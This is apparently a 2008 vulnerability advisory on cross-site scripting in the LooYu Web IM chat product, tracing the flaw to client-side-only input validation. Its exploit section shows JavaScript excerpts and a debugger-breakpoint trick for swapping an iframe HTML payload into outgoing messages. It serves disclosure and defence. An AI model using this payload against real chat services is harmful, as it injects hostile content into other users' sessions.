LooYu Web IM 2008 Cross-Site Scripting Vulnerabilities

[xsp <xisigr@xxxxxxxxx>]

Application: LooYu Web IM
Vendor: www.looyu.com
Corporation: DuoYou, Inc.
Version: Latest: (19 SEP 2008) - Home Edition, Enterprise & Professional
Description: LooYu Web IM 2008 Cross-Site Scripting Vulnerabilities

Background:
==============
LooYu is a web-based group chat tool that lets invite a client,
colleague, or vendor to chat, and collaborate.

Vulnerability:
==============
They do not properly sanitize the potentially malicious input content
to be rendered and, as a result, an attacker might provide malicious
HTML content as part of an IM message. There is a client-side only
input validation.

Exploit:
==============
1. newVisitorChat.js

(1)function sendMessage() {
    ..................
    ..................
    save_message(replaceHtml(msg));
}

(2)function save_message(msg) {
        var m = msg;                          //BREAKPOINT
        for(var e in emots){
        if(m.indexOf(e)!=-1){           
                m = m.replace(e,emots[e]);                              
        }

    }
    addMsg_chat(m, "you"/*getShortId(visitorId)*/, "visitor",null,'send');
    ..................
    ..................
}
SET BREAKPOINT(firebug, etc), AND SET NEW VALUE:
msg = "<iframe width=800 height=600 src='htTP://WWW.G.CN'></iframe>"


2. newCusChat.js

(1)function sendMessage() {
    ..................
    ..................
    save_message(replaceHtml(msg));
    ..................
    ..................
 }

(2)function saveMessage(msg) {
     showLocalMessage(msg);
     
Chat.addMessage(companyId,currentVisitor.chatId,customerId,currentVisitor.getTar(),
msg,{callback:function(m){
     save_message_do(currentVisitor,m);              //BREAKPOINT
     }});
    }
SET BREAKPOINT(firebug, etc), AND SET NEW VALUE:
msg = "<iframe width=800 height=600 src='htTP://WWW.G.CN'></iframe>"

=========================
xisigr[topsec]
xisigr@xxxxxxxxx



-- 
----xisigr----